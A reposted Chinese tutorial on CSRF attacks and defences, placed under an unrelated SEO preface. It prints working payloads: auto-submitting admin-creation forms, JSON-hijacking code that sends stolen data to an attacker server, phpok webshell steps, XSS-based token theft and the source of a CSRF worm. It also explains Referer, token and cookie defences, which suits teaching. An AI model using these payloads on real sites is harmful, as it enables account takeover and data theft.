前言：
现时大家对“netsession生命周期”可能比较重视，咱们都需要学习一些“netsession生命周期”的相关内容。那么小编同时在网摘上网罗了一些对于“netsession生命周期””的相关资讯，希望看官们能喜欢，看官们快快来了解一下吧！0x00 什么是CSRF
CSRF全称Cross Site Request Forgery，即跨站点请求伪造。我们知道，攻击时常常伴随着各种各样的请求，而攻击的发生也是由各种请求造成的。
从前面这个名字里我们可以关注到两个点：一个是“跨站点”，另一个是“伪造”。前者说明了CSRF攻击发生时所伴随的请求的来源，后者说明了该请求的产生方式。所谓伪造即该请求并不是用户本身的意愿，而是由攻击者构造，由受害者被动发出的。
CSRF的攻击过程大致如图：
0x01 CSRF攻击存在的道理
一种攻击方式之所以能够存在，必然是因为它能够达到某种特定的目的。比如：通过程序中的缓冲区溢出漏洞，我们可以尝试控制程序的流程，使其执行任意代码；通过网站上的SQL注入漏洞，我们可以读取数据库中的敏感信息，进而获取Webshell甚至获取服务器的控制权等等。而CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求，那么这有什么作用呢？
显然，这种攻击的威力和受害者的身份有着密切的联系。说到这儿我们可以思考一下，攻击者之所以要伪造请求由受害者发出，不正是想利用受害者的身份去达到一些目的吗？换句话说，受害者身上有达到这个目的所必需的条件，
而这些必需的条件在Web应用中便是各种各样的认证信息，攻击者就是利用这些认证信息来实现其各种各样的目的。
下面我们先看几个攻击场景。
0x02 场景举例
（1）场景一：
在一个bbs社区里，用户在发言的时候会发出一个这样的GET请求：
GET /talk.php?msg=hello HTTP/1.1Host: …Cookie: PHPSESSID=ee2cb583e0b94bad4782ea(空一行)
这是用户发言内容为“hello”时发出的请求，当然，用户在请求的同时带上了该域下的cookie，于是攻击者构造了下面的csrf.html页面：
<html> <img src= /></html>
可以看到，攻击者在自己的页面中构造了一个发言的GET请求，然后把这个页面放在自己的服务器上，链接为。之后攻击者通过某种方式诱骗受害者访问该链接，如果受害者此时处于登录状态，就会带上bbs.com域下含有自己认证信息的cookie访问,结果就是受害者按照攻击者的意愿提交了一份内容为“goodbye”的发言。
有人说这有什么大不了的，好，我们再看看另一个场景下的CSRF攻击。
（2）场景二：
在一个CMS系统的后台，发出下面的POST请求可以执行添加管理员的操作：
POST /manage.php?act=add HTTP/1.1Host: …Cookie: PHPSESSID=ee2cb583e0b94bad4782ea;is_admin=234mn9guqgpi3434f9r3msd8dkekwel(空一行)uname=test&pword=test
在这里，攻击者构造了的csrf2.html页面如下：
<html> <form action="/manage.php?act=add" method="post"> <input type="text" name="uname" value="evil" /> <input type="password" name="pword" value="123456" /> </form> <script> document.forms[0].submit(); </script></html>
该页面的链接为，攻击者诱骗已经登录后台的网站管理员访问该链接（比如通过给管理员留言等方式）会发生什么呢？当然是网站管理员根据攻击者伪造的请求添加了一个用户名为evil的管理员用户。
通过这些场景我们可以看到，CSRF攻击会根据场景的不同而危害迥异。小到诱使用户留言，大到垂直越权进行操作。这些攻击的请求都是跨域发出,并且至关重要的一点，都是在受害者的身份得到认证以后发生的。另外，我们在第一个场景中攻击时并没有使用JavaScrpit，这说明CSRF攻击并不依赖于JavaScript。
0x03 CSRF攻击方式
（1）HTML CSRF攻击：
即利用HTML元素发出GET请求（带src属性的HTML标签都可以跨域发起GET请求），如：
<link href="…"><img src="…"><iframe src="…"><meta http-equiv="refresh" content="0; url=…"><script src="…"><video src="…"><audio src="…"><a href="…"><table background="…">…
若要构造POST请求，则必须用表单提交的方式。另外，这些标签也可以用JavaScript动态生成，如：
<script> new Image().src = '…';</script>
（2）JSON HiJacking攻击：
为了了解这种攻击方式，我们先看一下Web开发中一种常用的跨域获取数据的方式：JSONP。
先说一下JSON吧，JSON是一种数据格式，主要由字典（键值对）和列表两种存在形式，并且这两种形式也可以互相嵌套，非常多的应用于数据传输的过程中。由于JSON的可读性强，并且很适合JavaScript这样的语言处理，已经取代XML格式成为主流。
JSONP（JSON with Padding）是一个非官方的协议，是Web前端的JavaScript跨域获取数据的一种方式。我们知道，JavaScript在读写数据时受到同源策略的限制，不可以读写其他域的数据，于是大家想出了这样一种办法：
前端html代码：
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script type="text/javascript"> function jsonpCallback(result) { alert(result.a); alert(result.b); alert(result.c); for(var i in result) { alert(i+":"+result[i]);//循环输出a:1,b:2,etc. } } </script> <script type="text/javascript" src=""></script>后端的php代码：
<?php //服务端返回JSON数据 $arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); $result=json_encode($arr); //echo $_GET['callback'].'("Hello,World!")'; //echo $_GET['callback']."($result)";//动态执行回调函数 $callback=$_GET['callback']; echo $callback."($result)";?>可以看到，前端先是定义了jsonpCallback函数来处理后端返回的JSON数据，然后利用script标签的src属性跨域获取数据（前面说到带src属性的html标签都可以跨域），并且把刚才定义的回调函数的名称传递给了后端，于是后端构造出“jsonpCallback({“a”:1, “b”:2, “c”:3, “d”:4, “e”:5})”的函数调用过程返回到前端执行，达到了跨域获取数据的目的。
一句话描述JSONP：前端定义函数却在后端完成调用然后回到前端执行！
明白了JSONP的调用过程之后，我们可以想象这样的场景：
当用户通过身份认证之后，前端会通过JSONP的方式从服务端获取该用户的隐私数据，然后在前端进行一些处理，如个性化显示等等。这个JSONP的调用接口如果没有做相应的防护，就容易受到JSON HiJacking的攻击。
就以上面讲JSONP的情景为例，攻击者可以构造以下html页面：
<html><meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <script type="text/javascript"> function hijack(result) { var data = ''; for(var i in result) { data += i + ':' + result[i]; } new Image().src = "" + escape(data);//把数据发送到攻击者服务器上 } </script> <script type="text/javascript" src=""></script></html>可以看到，攻击者在页面中构造了自己的回调函数，把获取的数据都发送到了自己的服务器上。如果受害者在已经经过身份认证的情况下访问了攻击者构造的页面，其隐私将暴露无疑。
我们用以下几张图来总结一下JSON HiJacking的攻击过程：
（图片来源：）
0x04 CSRF的危害
前面说了CSRF的基本概念，列举了几个CSRF的攻击场景，讲述了几种CSRF的攻击方法，现在我们来简单总结一下CSRF攻击可能造成的危害。
CSRF能做的事情大概如下：
1）篡改目标网站上的用户数据；
2）盗取用户隐私数据；
3）作为其他攻击向量的辅助攻击手法；
4）传播CSRF蠕虫。
其中前两点我们在之前的例子中已经做了比较详细的说明，不再赘述。第三点即将其他攻击方法与CSRF进行结合进行攻击，接下来我们以实际的漏洞实例来说明CSRF的第三个危害。
另外，CSRF蠕虫就是利用之前讲述的各种攻击方法，并且在攻击代码里添加了形成蠕虫传播条件的攻击向量，这一点会在本文的最后介绍。
0x05 基于CSRF攻击实例
我们来看一下phpok的两个CSRF漏洞如何进行最大化的利用。这两个漏洞均来自乌云：
phpok csrf添加管理员+后台getshellphpok csrf成功getshell(二)
（1）版本4.2.100：
在phpok该版本的后台提交如下POST请求可以添加管理员：
POST /phpok/admin.php?c=admin&f=save HTTP/1.1Host: …Cookie: …（空一行）id=…&accont=…&pass=…&status=…&if_system=…
攻击者可以构造如下页面：
<html> <div style="display:none"> <form action=";f=save" id="poc" name="poc" method="post"> <input type="hidden" name="id" value=""/> <input type="hidden" name="account" value=""/> <input type="hidden" name="pass" value=""/> <input type="hidden" name="email" value=""/> <input type="hidden" name="status" value=""/> <input type="hidden" name="if_system" value=""/> <input type="submit" name="up" value="submit"/> </form> <script> var t = document.poc; t.account.value="wooyun"; t.pass.value="123456"; t.status.value="1"; t.if_system.value="1"; document.poc.submit(); </script> </div></html>
攻击发生之前，如图：
管理员在登录的情况下访问攻击者的页面之后，如图：
可以看到，成功添加了一名管理员。
攻击到这里就结束了吗？并没有！攻击者利用CSRF漏洞成功进入了后台，他还要想办法GetShell！
在后台风格管理-创建模板文件的地方添加一个模板，通过抓包改包的方式绕过前端对文件类型的判断，如图：
把GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html
改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php
可以看到成功添加了.php文件：
然后在编辑文件内容为一句话木马即可：
在此次攻击中，攻击者最后利用后台添加模板处的限制不严格拿到了Webshell，但在此之前使攻击者得以进入后台的却是CSRF漏洞，由此可以看到CSRF在这次攻击中的重要性。
（2）还是4.2.100…
刚才我们是通过CSRF先进入后台，然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样？
phpok的前台可以上传.zip文件，我们把木马文件test.php压缩为test.zip；
注册一个账号，进入修改资料页面；
选择一个正常的图片，截获数据，如图：
然后修改数据，如图：
成功上传.zip文件，记录下文件id号，这里是739。
在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞，演示如图：
于是攻击者可以构造如下页面：
<html> <form action=";f=unzip" id="poc" name="poc" method="post"> <input type="hidden" name="zipfile" value=""/> <input type="hidden" name="file" value=""/> <input type="submit" name="up" value="submit"/> </form> <script> var t = document.poc; t.zipfile.value="739"; t.file.value="739"; document.poc.submit(); </script></html>
管理员登录后台后访问攻击者的页面，如图：
可以看到我们的木马文件已经上传到服务器上了。
这次攻击，我们根本没有进入后台，而是利用一个CSRF漏洞直接就拿到了Webshell，由此可以看出CSRF在某些场景下的威力之大，根本不亚于SQL注入和文件上传这样的漏洞。
0x05 CSRF的防御
前面我们了解了这么多有关CSRF攻击的东西，目的是为了明白如何防御CSRF攻击（真的是这样吗？…）。
要防御CSRF攻击，我们就要牢牢抓住CSRF攻击的几个特点。
首先是“跨域”，我们发现CSRF攻击的请求都是跨域的，针对这一特点，我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下，用户提交的都是站内的请求，其Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段，这也是这种防御方法成立的条件。
不过需要说明的是，有的时候请求并不需要跨域，比如我们后面讲到的结合XSS进行攻击的时候，有的时候甚至没有Referer字段…，这些也是使用这种防御方法的弊病所在。
第二点是“伪造”，这也是CSRF攻击的核心点，即伪造的请求。我们来想一下，攻击者为什么能够伪造请求呢？换句话说，攻击者能够伪造请求的条件是什么呢？纵观之前我们伪造的所有请求，无一例外，请求中所有参数的值都是我们可以预测的，如果出现了攻击者无法预测的参数值，那么将无法伪造请求，CSRF攻击也不会发生。基于这一点，我们有了如下两种防御方法：
添加验证码；使用一次性token。
先看看第一种。验证码的核心作用是区分人和机器，而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的，属于机器发出的请求，攻击者无法预知验证码的值，所以使用验证码可以很好地防御CSRF攻击，但毫无疑问，验证码会一定程度地影响用户体验，所以我们要在安全和用户体验之间找到一个平衡点。
再看看第二种方法。所谓token是一段字母数字随机值，我们可以把它理解为一个服务端帮我们填好的验证码！每当我们访问该页面时，服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中，当我们提交表单时，token会作为一个参数提交到服务端进行验证。在这个请求过程中，token的值也是攻击者无法预知的，而且由于同源策略的限制，攻击者也无法使用JavaScript获取其他域的token值，所以这种方法可以成功防御CSRF攻击，也是现在用的最多的防御方式。
但是，需要注意的一点是，token的生成一定要随机，即不能被攻击者预测到，否则这种防御将形同虚设。另外，token如果作为GET请求的参数在url中显示的话，很容易在Referer中泄露。还有更重要的一点：如果在同域下存在XSS漏洞，那么基于token的CSRF防御将很容易被击破，我们后面再说。
除了“跨域”和“伪造”两点，我们还可以注意到CSRF在攻击时间上的特点：CSRF攻击都是在受害者已经完成身份认证之后发生的，这是由CSRF攻击的目的所决定的。基于这一点，我们还可以想出一些缓解CSRF攻击的方法（注意是缓解），比如缩短Session的有效时间等等，可能一定程度上会降低CSRF攻击的成功率。
总结一下上面的防御方法如下：
验证Referer；使用验证码；使用CSRF token；限制Session生命周期。
其中第四种属于缓解类方法，就不多说了。我们看一下其他三种方法都分别存在什么弊病。
Referer最大弊病：有些请求不带Referer；
验证码最大弊病：影响用户体验；
CSRF token最大弊病：随机性不够好或通过各种方式泄露，此外，在大型的服务中需要一台token生成及校验的专用服务器，需要更改所有表单添加的字段，有时效性的问题。
那么有没有其它的办法能够有效地防御CSRF攻击呢？xeye团队的monyer提出了下面这样的方法：
原理与token差不多：当表单提交时，用JavaScript在本域添加一个临时的Cookie字段，并将过期时间设为1秒之后在提交，服务端校验有这个字段即放行，没有则认为是CSRF攻击。
前面提到，token之所以可以防御CSRF，是因为攻击者无法使用JavaScript获取外域页面中的token值，必须要遵守同源策略；而临时Cookie的原理是：Cookie只能在父域和子域之间设置，也遵守同源策略，攻击者无法设置该Cookie。
下面看一个简单的demo，前端：
<html> <script> function doit() { var expires = new Date((new Date()).getTime()+1000); document.cookie = "xeye=xeye; expires=" + expires.toGMTString(); } </script> <form action="" name="f" id="f" onsubmit="doit();" target="if1"> <input type="button" value="normal submit" onclick="f.submit();"> <input type="button" value="with token" onclick="doit();f.submit();"> <input type="submit" value="hook submit"> </form> <iframe src="about:blank" name="if1" id="if1"></iframe></html>服务端:
<?phpecho "<div>Cookies</div>";var_dump($_COOKIE);?>
前端test.html页面中有三个按钮：第一个是正常的表单提交；第二个是添加临时Cookie后提交表单；第三个是以hook submit事件来添加临时Cookie并提交。
我们来演示一下效果，test.html页面如图：
normal submit之后：
看到只有xampp设置的一个Cookie，试一下with token按钮：
看到我们提交的Cookie中多出了一个名为“xeye”的Cookie，再试一下hook submit：
效果和第二个相同。
通过上面的演示，我们可以看到设置临时Cookie的效果。
不过这种方式只适用于单域名的站点，或者安全需求不需要“当子域发生XSS隔离父域”。因为子域是可以操作父域的Cookie的（通过设置当前域为父域的方式），所以这种方法的缺点也比较明显：这种方法无法防御由于其他子域产生的XSS所进行的表单伪造提交（注意：使用token可能也会有这样的问题，马上说到）。但如果对于单域站点而言，这种防御方法的安全性可能会略大于token。
对于这种防御方式的几个小疑问：
网络不流畅，有延迟会不会导致Cookie失效？这个显然是不会的，因为服务端Cookie是在提交请求的header中获得的。延时在服务端，不在客户端，而1秒钟足可以完成整个表单提交过程。Cookie的生成依赖于JavaScript，相当于这个token是明文的？这是肯定的，不管采用多少种加密，只要在客户端，就会被破解，不过不管怎样，CSRF无法在有用户状态的情况下添加这个临时Cookie字段（同源策略）。虽然通过服务端可以，但是无法将当前用户的状态也带过去（即攻击者尝试在自己的中转服务器上添加临时Cookie，但是这种做法背离CSRF攻击的目的了，因为受害者的Cookie（认证信息）不会发到攻击者的中转服务器上啊…顺便说一句，Referer也是同样的道理）。如果由于某种网络问题无法获取Cookie呢？那么保存用户状态的Cookie当然也无法获取了，用户只能再重新提交表单才可以，这就与CSRF无关了。
由于这种防御策略还没有被大规模使用，所以无法确定其是否真实有效。不过如果有效的话，这大概是一种最简单的、对代码改动最小，且对服务器压力也最小的防御CSRF的方法。
在攻击方法中我们详细讲解了JSON HiJacking，那么针对这种特定的CSRF攻击方法，我们有没有什么特定的防御方法呢？
当然有了，这里介绍两种：
1）在返回的脚本开始部分加入“while(1);”:
当攻击者通过JSON HiJacking的方式获取到返回的JSON数据时，其攻击代码会陷入死循环中，无法将敏感信息发送到自己的服务器上，这样就防止了信息泄露；而正常的客户端代码可以正确地处理返回的JSON数据，它可以先将“while(1);”去掉再正常处理。
这样做相比较与其他方式CSRF的方法有一个突出的好处，即不依赖浏览器的边界安全策略，而是在代码级别引入保护机制。
Google的部分服务就采取了这种防御方法，具体内容可以参考下面的链接：
2) 使用POST表单提交的方式获取JSON数据：
当前端可以使用XMLHttpRequest获取JSON数据时，当然也可以使用POST表单的方式完成这项任务，这样的话攻击者就无法使用script标签来获取JSON数据（因为src属性发出的是GET请求）。
纵观这些CSRF的防御方法，无一不是针对CSRF攻击成立的条件进行破坏，这也是“未知攻，焉知防”道理的体现。我们在对自己的网站进行防御的时候，要根据自己的业务场景，选择一个最合适的防御方案。
0x06 结合XSS的CSRF攻击
前面我们说到了基于CSRF的攻击，讲的是在一整套攻击中使用CSRF来达到最终目的或某个中间目的。而这里我们要说的是：如何利用CSRF的“黄金搭档”——XSS来辅助我们完成一次CSRF攻击。
为什么说XSS是CSRF的“黄金搭档”呢？因为当XSS存在时，我们往往可以利用它来突破目标站点对CSRF攻击的防护；还有一些情况，比如我们可以找到一些“SELF-XSS”，即只能跨自己，那么如果可以CSRF的话，就不仅仅能跨自己了。我们标题里说的“结合”就是指这两种方式。
下面我们举例说明：
1) 利用XSS窃取token之后发起CSRF攻击
以前面0x05中的第一个例子为例，我们的目标是进入后台。
加入添加管理员的POST请求如下（加入了token）：
POST /phpok/admin.php?c=admin&f=save HTTP/1.1Host: …Cookie: …（空一行）id=…&accont=…&pass=…&status=…&if_system=…&accont=…&token=…
那么我们就不能直接构造出攻击页面了，因为token的值我们无法预测，一般情况下我们也无法得到token的值，但我们假设，在给管理员留言的地方存在XSS漏洞，但是管理员的Cookie加了HttpOnly属性，我们无法通过XSS直接获取管理员的Cookie，那该怎么办呢？我们可以把这两个漏洞结合起来利用。
我们可以利用XSS在管理员的浏览器中执行下面的JavaScript代码：
<script> var frameObj = document.createElement("iframe"); frameObj.setAttribute("id", "add"); document.body.appendChild(frameObj); document.getElementById("add").src = "admin.php?c=admin&f=save"; var token = document.getElementById("add").contentWindow.document.getElementById("token").value; //从iframe中的页面中获取token值 var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.open("POST", "admin.php?c=admin&f=save", true); xmlhttp.send("id = & accont = wooyun&pass=123456&status=1&if_system=1&token=" + token); //带上token提交添加管理员的请求</script>代码很好理解，首先我们通过iframe的方式嵌入含有token的页面，因为同域，所以我们可以对页面中的DOM进行读写操作，所以顺利取得token；然后我们利用AJAX的方式带上token提交添加管理员的请求，我们依靠XSS成功突破了页面对CSRF攻击的防护。
2） 结合CSRF发起XSS攻击
（实例来源：百度某站可结合CSRF及XSS劫持账号）
在百度词典-我的词典处，有将生词添加进生词本的功能，在备注的时候没有进行过滤，可以直接插入JavaScript代码。
但这显然是一个“SELF-XSS”,只能跨自己，有什么用呢？
再看看，页面似乎没有对CSRF做防护，那么我们是不是可以利用CSRF来触发这个XSS，让别人跨自己呢？
构造POST请求页面如下：
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head><body> <form id="baidu" name="baidu" action="" method="POST"> <input type="text" name="req" value="add" /> <input type="text" name="word" value="Wooyun" /> <input type="text" name="explain" value="<script src=;</script>" /> <input type="submit" value="submit" /> </form> <script> document.baidu.submit(); </script></body></html>
诱惑受害者访问该页面，效果如图：
看看生词本：
已经成功添加了一个新单词“Wooyun”，到我们的XSS平台上看看备注中的JavaScript代码有没有执行：
代码成功执行！
由此可以看到，如果能够将XSS攻击和CSRF攻击结合起来，会产生1+1>2的效果。
0x07 CSRF蠕虫
说说蠕虫。
蠕虫有两大特征：
1） 传播性；
2） 恶意行为。
蠕虫的恶意行为是由其传播性引起的，也就是说，凡是传播可以做的事，蠕虫基本上都可以做，而且还可以做些和特定蠕虫有关的事，比如我们要说的CSRF蠕虫就可以大批量地获取用户的隐私信息（CSRF的危害之一嘛）。
所以，我们主要研究CSRF蠕虫的传播性。
CSRF蠕虫的传播性如何实现呢？在前面我们提到过，CSRF蠕虫就是在CSRF的攻击页面中加入了蠕虫传播的攻击向量。这听上去感觉很容易，但实施起来恐怕还要多考虑一些东西。
仔细想想，在一个SNS网站上传播CSRF蠕虫有一个不得不考虑的问题：蠕虫面对的是不同的用户，而不仅仅是某一个受害者。那对于不同的用户，其对应的请求（CSRF核心：伪造的请求嘛）会不会有些地方不一样呢？
没错，在之前的CSRF攻击中，我们的攻击目标是某一个特定的个体。当我们可以预测其请求的所有参数之后，我们就可以发起攻击。但是在SNS网站上传播CSRF蠕虫就不是这么简单。即使每个用户的所有请求参数都可以预测，但是对于不同的用户，其对应的请求参数是不一样的，我们无法像前面的攻击那样构造攻击页面，必须想办法获取这些标识不同用户的数据。
方法一：利用服务端脚本获取
在这里，我们构造的攻击页面不是一个简单的.html文件了，而是一个服务端脚本，如php、asp等等。
受害者的标识信息，如用户id等，经常出现在url中，这样我们就可以利用服务端脚本来获取请求的Referer中的用户id，以此为基础构造出html+js的攻击页面，在攻击向量中添加我们服务端脚本的链接，以此造成蠕虫传播的效果。
方法二：利用JSON HiJacking技术获取
JSON HiJacking的攻击方法前面已经讲得很详细了，如果网站上提供了这样的获取数据的接口，那么利用这种技术获取用户的隐私信息是一个不错的方法。
综上所述，如果一个SNS网站上存在CSRF漏洞，并且我们有办法获取到用户的标识信息，那么就满足了CSRF蠕虫传播的条件，这个网站就是可蠕虫的。
下面看一个CSRF蠕虫实例：
这是2008年发起的一次针对译言网（）的CSRF蠕虫攻击，攻击者的链接为，服务端脚本yeeyan.asp内容如下：
<%'auther: Xlaile'data: 2008-09-21'this is the CSRF Worm of r = Request.ServerVariables("HTTP_REFERER")'获取用户的来源地址，如： If InStr(r, "") > 0 Then 'referer判断，因为攻击对象为yeeyan个人空间留言板，就是这样的地址 Function regx(patrn, str) Dim regEx Dim Match Dim Matches Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCace = True regEx.Global = True Set Matches = regEx.Execute(str) For Each Match in Matches RetStr = RetStr & Match.Value & " | " Next regx = RetStr End Function Function bytes2BSTR(vIn) Dim strReturn Dim i1 Dim ThisCharCode Dim NextCharCode strReturn = "" For i1 = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i1,1)) If ThisCharCode < & H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i1 + 1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * & H100 + CInt(NextCharCode)) i1 = i1 + 1 End If Next bytes2BSTR = strReturn End id = Mid(r,34) '获取用户标识ID，如:hving furl = "" + id '用户好友列表链接是这样的 Set http = Server.CreateObject("Microsoft.XMLHTTP") '使用这个控件 http.Open "GET",furl,False '同步，GET请求furl链接 http.Send '发送请求 ftext = http.ResponseText '返回请求结果，为furl链接对应的HTML内容 fstr = regx("show/(d+)?"">[^1-9a-zA-Z]+<img",ftext) '正则获取被攻击用户的所有好友的ID值，CSRF留言时需要这个值 farray = Split(fstr , " | ") '下面几句就是对获取到的ID值进行简单处理，然后扔进f(999)数组中 Dim f(999) For i = 0 To UBound(farry) - 1 f(i) = Mid(farray(i),6,Len(farray(i)) - 16) Next Set http = Nothing s = "" For i = 0 To UBound(farray) - 1 s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>" '接着循环遍历好友列表，使用iframe发起CSRF攻击 Next Response.Write(s) ' Set http=Server.CreateObject("Microsoft.XMLHTTP") ' http.open "POST","",False ' c = "hello" cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0) ' http.send cc End If %>其中yeeyan_iframe.asp代码如下：
<%'author: Xlaile'date: 2008-09-21'this is the CSRF Worm of 'id = Request("id") s = "<form method='post' action='' onsubmit='return false'>" s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation:' name='data[Post][content]'/> s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>" s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/> s = s+"</form>" s = s+"<script>document.forms[0].submit();</script>" Response.write(s) %>这段代码只具备传播性，属于没有恶意的实验代码。从yeeyan.asp的代码中我们可以看到，攻击者就是依靠Referer字段得到了译言用户的id值。而yeeyan_iframe.asp是构造表单的代码，用来具体发起CSRF攻击。当用户登录译言网，并且点击攻击者的链接后，这个CSRF蠕虫就会开始传播。
0x08 还有什么东西？
写到这里，我所了解的有关CSRF攻击与防御的内容就差不多写完了。在写前面内容的时候，我一直在有意回避一个东西，那就是在现在的Web前端仍然占有重要地位的Flash，以及ActionScript脚本。
这里就简单补充一下，这些东西和CSRF攻击有什么联系。
首先，我们必须先介绍一个文件——crossdomain.xml，次文件通常在网站的根目录下存在，比如网站上的crossdomain.xml文件内容如下：
网站上的crossdomain.xml文件内容如下：
该配置文件中的“allow-access-from domain”用来配置哪些域的Flash请求可以访问本域的资源。如果该项值为“*”，则表示任何与的Flash都可以访问，这是非常危险的。当存在这样的配置时，攻击者可以利用ActionScript脚本轻松突破同源策略的限制，如下：
import flash.net. *//请求隐私数据所在页面 var loader = new URLLoader(new URLRequest(http: //); loader.addEventListener(Event.COMPLETE, function() { //当请求完成后 loader.data; //获取到隐私数据 //更多操作 });Loader.load(); //发起请求当通过身份认证的受害者被诱惑访问含有以上脚本的页面时，其隐私将可能被攻击者盗走。
除此之外，这种跨域获取信息的方法还可以应用在CSRF蠕虫之中，同样是在2008年，饭否（）就被基于Flash的CSRF蠕虫攻击，当时包含饭否CSRF蠕虫的Flash游戏界面如下：
0x09 结束
由于水平有限，本文写到这里就差不多结束了，里面是我对CSRF几乎所有的认知，包括基本概念、攻击原理、攻击目的、攻击手段以及防御方法等等。需要特别说明的是，文中有许多内容来自《Web前端黑客技术解密》这本书。
原创文章，作者：Drops，转载自：
标签： #netsession生命周期
